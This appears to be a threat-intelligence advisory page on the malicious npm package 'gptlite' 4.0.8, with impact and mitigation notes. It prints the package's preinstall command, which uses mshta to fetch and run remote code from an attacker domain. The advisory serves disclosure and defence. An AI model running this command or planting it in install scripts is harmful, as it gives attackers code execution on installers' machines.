Malicious code in gptlite (npm)
The npm package 'gptlite' version 4.0.8 contains malicious code in its preinstall lifecycle script. This script executes a Windows command that uses mshta.exe to fetch and run attacker-controlled code from an unauthenticated HTTP source (fixars.top) during installation. This results in arbitrary code execution on the installer's machine without user review.
AI Analysis
Technical Summary
The 'gptlite' npm package version 4.0.8 includes a preinstall.js script invoked by the 'preinstall' lifecycle event, which runs the command `cmd /c "mshta http://fixars.top"` on Windows systems. The mshta.exe utility fetches and executes a remote HTML Application over plain HTTP from the domain fixars.top, which is unrelated to the package's documented purpose. Because the content is delivered over unauthenticated HTTP, it is fully attacker-controlled and mutable, enabling arbitrary code execution on the machine running 'npm install' before any package code is reviewed.
Potential Impact
This vulnerability allows an attacker to execute arbitrary code on the system of any user who installs the affected package version on Windows. The code execution occurs automatically during the npm install process via the preinstall script, potentially compromising the installer's machine and environment.
Mitigation Recommendations
No official patch or fix is currently documented for this malicious package version. Users should avoid installing 'gptlite' version 4.0.8. It is recommended to verify package integrity and source before installation and consider using trusted package registries or alternative packages. Monitor vendor advisories for any updates or remediation guidance.
Malicious code in gptlite (npm)
Description
The npm package 'gptlite' version 4.0.8 contains malicious code in its preinstall lifecycle script. This script executes a Windows command that uses mshta.exe to fetch and run attacker-controlled code from an unauthenticated HTTP source (fixars.top) during installation. This results in arbitrary code execution on the installer's machine without user review.
Affected software
Run on your own infrastructure? Check whether these packages are installed with threat-finder — our free open-source scanner.
AI-Powered Analysis
Machine-generated threat intelligence
Technical Analysis
The 'gptlite' npm package version 4.0.8 includes a preinstall.js script invoked by the 'preinstall' lifecycle event, which runs the command `cmd /c "mshta http://fixars.top"` on Windows systems. The mshta.exe utility fetches and executes a remote HTML Application over plain HTTP from the domain fixars.top, which is unrelated to the package's documented purpose. Because the content is delivered over unauthenticated HTTP, it is fully attacker-controlled and mutable, enabling arbitrary code execution on the machine running 'npm install' before any package code is reviewed.
Potential Impact
This vulnerability allows an attacker to execute arbitrary code on the system of any user who installs the affected package version on Windows. The code execution occurs automatically during the npm install process via the preinstall script, potentially compromising the installer's machine and environment.
Mitigation Recommendations
No official patch or fix is currently documented for this malicious package version. Users should avoid installing 'gptlite' version 4.0.8. It is recommended to verify package integrity and source before installation and consider using trusted package registries or alternative packages. Monitor vendor advisories for any updates or remediation guidance.
Technical Details
- Gcve Source
- db.gcve.eu
- Osv Id
- MAL-2026-10461
- Osv Schema Version
- 1.7.4
- Aliases
- []
- Ecosystems
- ["npm"]
- Database Specific Severity
- null
- Cvss Version
- null
Threat ID: 6a55ffb768715ace432facb4
Added to database: 07/14/2026, 09:22:00 UTC
Last enriched: 07/14/2026, 09:59:22 UTC
Last updated: 07/26/2026, 04:59:26 UTC
Views: 40
Community Reviews
0 reviewsCrowdsource mitigation strategies, share intel context, and vote on the most helpful responses. Sign in to add your voice and help keep defenders ahead.
Want to contribute mitigation steps or threat intel context? Sign in or create an account to join the community discussion.
Actions
Updates to AI analysis require Pro Console access. Upgrade inside Console → Billing.
External Links
Need more coverage?
Upgrade to Pro Console for AI refresh and higher limits.
For incident response and remediation, OffSeq services can help resolve threats faster.
Latest Threats
Check if your credentials are on the dark web
Instant breach scanning across billions of leaked records. Free tier available.